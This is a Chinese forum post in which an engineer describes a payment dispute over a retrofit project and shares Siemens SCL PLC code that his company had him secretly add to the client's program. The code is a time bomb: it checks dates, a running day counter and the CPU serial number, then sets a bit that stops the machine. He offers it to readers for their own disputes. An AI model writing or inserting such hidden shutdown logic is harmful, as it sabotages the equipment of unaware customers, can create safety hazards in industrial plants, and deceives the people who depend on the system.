我们的工程改造的,已经完工,按照合同应该付款80%了,现在才付款40%,发函过去也不付尾款(据说我们改造的项目就是因为他们不付尾款破产了,成了烂尾工程),我也是刚进这家公司,上次叫我过去帮用户处理一个程序问题,公司授权我在程序里面加点代码,让他运行以后过段时间停机,我按照要求写了,但是客户手上有程序,作为调试的都知道,有程序直接下载下去什么问题都没有了,拿他还真的没有办法。
我现在想和大家谈论一下,工程尾款的大家一般怎么要回来呀?我把我的代码也奉献给大家吧,300有效。
FUNCTION FC11 : VOID
KNOW_HOW_PROTECT
//#######################################################
//
// Code By Gong
// WeChat:23013014
// e-Mail:23013014@QQ.com
// mobile:186 #### ####
// 本来程序最初写了检查模拟器和MMC卡的,后来觉得用户手上有程序,意义也不大就删了
// 程序写的比较乱,凑活看着吧
//#######################################################
CONST
ONE:=true;
Clock:=0;
//------------------------------
YY:=18;
MM:=1;
DD:=24;
//------------------------------
DAY:=86400;
Nr_DB:=10;
Nr_Offset:=502;
//------------------------------
SZL_ID:=W#16#11C;
INDEX:=W#16#5;
//------------------------------
BIT_X:=60;
BIT_Y:=0;
BIT_P:=1;
BIT_T:=2;
END_CONST
VAR_INPUT
END_VAR
VAR_IN_OUT
//Impulse,Aux_Impulse:BOOL;
//Counter_Actual:DINT;
END_VAR
VAR_OUTPUT
END_VAR
VAR_TEMP
//--->DATE_AND_TIME<---
Date_Now:DATE_AND_TIME;
Date_Dot AT Date_Now:ARRAY[0..7] OF BYTE;
//--->COUNT<---
_day:REAL;
_day_cmp:DINT;
//--->CPU<---
_length:STRUCT
LENTHDR:WORD;
N_DR:WORD;
END_STRUCT;
Dr:STRUCT
SyntaxID:BYTE;
DataType:BYTE;
DataCount:WORD;
_Nr:WORD;
Byte_Pointer:DWORD;
END_STRUCT;
_Dr AT Dr:ANY;
//--->---<---
_Dr_array:ARRAY[0..500]OF BYTE;
_RET:INT;
_Busy:BOOL;
SSN:ARRAY[0..19]OF BYTE;
CNT:INT;
END_VAR
//--------------->功能开始<---------------
//M[BIT_X,BIT_Y]:=1;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;
//--------------->系统时间<---------------
IF I11.7 THEN
//M[BIT_X,BIT_Y]:=1;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;
RETURN;
END_IF;
IF WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0] THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
Date_Now:=DATE_AND_TIME#2017-12-24-11:12:13.2;
_RET:=READ_CLK(CDT :=Date_Now);
IF _RET<>0 THEN
//M[BIT_X,BIT_Y]:=1;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;
RETURN;
END_IF;
IF (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = (YY-1)) OR (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = YY) THEN
IF ((BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = (YY-1)) AND BCD_TO_INT(BYTE_TO_WORD(Date_Dot[2])) < 26)THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
IF (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[1])) = MM AND BCD_TO_INT(BYTE_TO_WORD(Date_Dot[2])) >= DD) OR (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[1])) > MM) AND (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = YY) THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
ELSE
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
//--------------->时间计时<---------------
M[BIT_X,BIT_P]:=M[Clock,5] AND (NOT M[BIT_X,BIT_T]);
M[BIT_X,BIT_T]:=M[Clock,5];
IF ONE AND M[BIT_X,BIT_P] THEN
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]:=DINT_TO_DWORD(DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6])+1);
//Counter_Actual:=Counter_Actual+1;
END_IF;
IF DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]) >= 2000000000 THEN
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]:=0;
END_IF;
//--------------->-----<---------------
_day:=DWORD_TO_REAL(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+2]);
IF _day>99 OR _day<11 THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
IF (REAL_TO_INT((_day*10)) MOD 10) <> 5 THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
//--------------->-----<---------------
_day_cmp:=REAL_TO_DINT(_day*10) DIV 10;
IF DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]) >= _day_cmp*DAY THEN
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0]:=1;
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
//--------------->读取CPU<---------------
Dr.SyntaxID:=16#10;
Dr.DataType:=16#02;
Dr.DataCount:=16#1F5;
Dr._Nr:=16#0;
Dr.Byte_Pointer:=DW#16#870000F0;
_RET:=RDSYSST(REQ :=ONE
,SZL_ID :=SZL_ID
,INDEX :=INDEX
,BUSY :=_Busy
,SZL_HEADER :=_length
,DR :=_Dr
);
IF _RET<>0 THEN
//M[BIT_X,BIT_Y]:=1;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;
RETURN;
END_IF;
SSN[0]:=B#16#00;
SSN[1]:=B#16#05;
SSN[2]:=B#16#53;
SSN[3]:=B#16#20;
SSN[4]:=B#16#43;
SSN[5]:=B#16#2D;
SSN[6]:=B#16#41;
SSN[7]:=B#16#36;
SSN[8]:=B#16#56;
SSN[9]:=B#16#4E;
SSN[10]:=B#16#38;
SSN[11]:=B#16#36;
SSN[12]:=B#16#32;
SSN[13]:=B#16#32;
SSN[14]:=B#16#32;
SSN[15]:=B#16#30;
SSN[16]:=B#16#31;
SSN[17]:=B#16#30;
SSN[18]:=B#16#00;
SSN[19]:=B#16#00;
FOR CNT:= 0 TO 19 BY 1 DO
IF SSN[CNT] <> _Dr_array[CNT] THEN
//M[BIT_X,BIT_Y]:=0;
WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;
RETURN;
END_IF;
END_FOR;
RETURN;
END_FUNCTION